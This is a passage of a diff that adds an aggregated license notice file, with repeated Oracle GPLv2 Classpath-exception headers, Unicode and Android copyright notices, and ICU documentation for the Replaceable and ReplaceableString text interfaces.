+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!--
+ Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<?xml version="1.0"?>
+
+<!--
+ Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+<code>Replaceable</code> is an interface representing a
+string of characters that supports the replacement of a range of
+itself with a new string of characters.  It is used by APIs that
+change a piece of text while retaining metadata.  Metadata is data
+other than the Unicode characters returned by char32At().  One
+example of metadata is style attributes; another is an edit
+history, marking each character with an author and revision number.
+
+<p>An implicit aspect of the <code>Replaceable</code> API is that
+during a replace operation, new characters take on the metadata of
+the old characters.  For example, if the string "the <b>bold</b>
+font" has range (4, 8) replaced with "strong", then it becomes "the
+<b>strong</b> font".
+
+<p><code>Replaceable</code> specifies ranges using a start
+offset and a limit offset.  The range of characters thus specified
+includes the characters at offset start..limit-1.  That is, the
+start offset is inclusive, and the limit offset is exclusive.
+
+<p><code>Replaceable</code> also includes API to access characters
+in the string: <code>length()</code>, <code>charAt()</code>,
+<code>char32At()</code>, and <code>extractBetween()</code>.
+
+<p>For a subclass to support metadata, typical behavior of
+<code>replace()</code> is the following:
+<ul>
+  <li>Set the metadata of the new text to the metadata of the first
+  character replaced</li>
+  <li>If no characters are replaced, use the metadata of the
+  previous character</li>
+  <li>If there is no previous character (i.e. start == 0), use the
+  following character</li>
+  <li>If there is no following character (i.e. the replaceable was
+  empty), use default metadata<br>
+  <li>If the code point U+FFFF is seen, it should be interpreted as
+  a special marker having no metadata<li>
+  </li>
+</ul>
+If this is not the behavior, the subclass should document any differences.
+
+<p>Copyright &copy; IBM Corporation 1999.  All rights reserved.
+
+@author Alan Liu
+@stable ICU 2.0
+
+-------------------------------------------------------------------
+
+<code>ReplaceableString</code> is an adapter class that implements the
+<code>Replaceable</code> API around an ordinary <code>StringBuffer</code>.
+
+<p><em>Note:</em> This class does not support attributes and is not
+intended for general use.  Most clients will need to implement
+{@link Replaceable} in their text representation class.
+
+<p>Copyright &copy; IBM Corporation 1999.  All rights reserved.
+
+@see Replaceable
+@author Alan Liu
+@stable ICU 2.0
+
+-------------------------------------------------------------------
+
+Copyright (C) 1991-2007 Unicode, Inc. All rights reserved.
+Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of the Unicode data files and any associated documentation (the "Data
+Files") or Unicode software and any associated documentation (the
+"Software") to deal in the Data Files or Software without restriction,
+including without limitation the rights to use, copy, modify, merge,
+publish, distribute, and/or sell copies of the Data Files or Software, and
+to permit persons to whom the Data Files or Software are furnished to do
+so, provided that (a) the above copyright notice(s) and this permission
+notice appear with all copies of the Data Files or Software, (b) both the
+above copyright notice(s) and this permission notice appear in associated
+documentation, and (c) there is clear notice in each modified Data File or
+in the Software as well as in the documentation associated with the Data
+File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
+KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF
+THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
+INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR
+CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
+USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
+TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not
+be used in advertising or otherwise to promote the sale, use or other
+dealings in these Data Files or Software without prior written
+authorization of the copyright holder.
+
+
+Generated automatically from the Common Locale Data Repository. DO NOT EDIT!
+
+-------------------------------------------------------------------
+
+Copyright (C) 1991-2011 Unicode, Inc. All rights reserved.
+Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Unicode data files and any associated documentation (the
+"Data Files") or Unicode software and any associated documentation
+(the "Software") to deal in the Data Files or Software without
+restriction, including without limitation the rights to use, copy,
+modify, merge, publish, distribute, and/or sell copies of the Data
+Files or Software, and to permit persons to whom the Data Files or
+Software are furnished to do so, provided that (a) the above copyright
+notice(s) and this permission notice appear with all copies of the
+Data Files or Software, (b) both the above copyright notice(s) and
+this permission notice appear in associated documentation, and (c)
+there is clear notice in each modified Data File or in the Software as
+well as in the documentation associated with the Data File(s) or
+Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR
+ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
+OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR
+SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in these Data Files or Software without prior
+written authorization of the copyright holder.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1994, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
